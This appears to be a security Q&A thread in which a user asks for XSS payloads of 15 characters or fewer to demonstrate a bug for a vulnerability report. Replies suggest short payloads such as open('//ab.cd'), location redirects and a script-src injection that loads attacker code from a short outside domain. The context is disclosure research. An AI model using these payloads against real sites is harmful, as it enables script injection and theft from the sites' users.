I found an XSS Vulnerability on a large site, and I want to report it, but the only limit to the vulnerability is that it only allows 15 characters maximum. This obviously has limits to what payloads you can run.

Does anybody know some interesting payloads that are 15 characters or less and demonstrate the vulnerability to report it?

  • 1
    i use alert(666) a lot. something like open("//ab.cd") can be made bad. if you have an upload vuln, location=/bad/ can be used to run more code. – dandavis Dec 22 '16 at 3:34
  • @dandavis thanks, but alert(666) alone doesn't run, and I can't fit <script> or javascript – Jack Dec 22 '16 at 3:47
  • 1
    ah, well with including script tags, then i would think 15 chars is too little as <script></script> is 17 chars, and <b onclick=> leaves only 3 chars of attack; not enough. – dandavis Dec 22 '16 at 3:50
  • fwiw, i couldn't think of much to do even with 15 chars of JS. 3-8 chars is likely harmless since quotes or parens would use up 2 of those, leaving 1-6 chars. i'd look into it more if the questioned weren't closed... – dandavis Dec 22 '16 at 4:06

Brutelogic wrote a brilliant article about this at http://brutelogic.com.br/blog/shortest-reflected-xss-possible/ some time ago.

One of the ideas from the article (paraphrased):

.. It’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

We can use this to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

# <script src=“//14.rs”></script>

  • 1
    <base href=//0> doesn't go anywhere, so i'm not sure it counts without a few more chars, and it will only work reflected, which is easy to detect... – dandavis Dec 22 '16 at 3:55
  • Could you outline the key points of the article in your answer? – Arminius Dec 22 '16 at 4:50
  • Arminius - absolutely. Gimme a minute. – thel3l Dec 22 '16 at 4:52

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.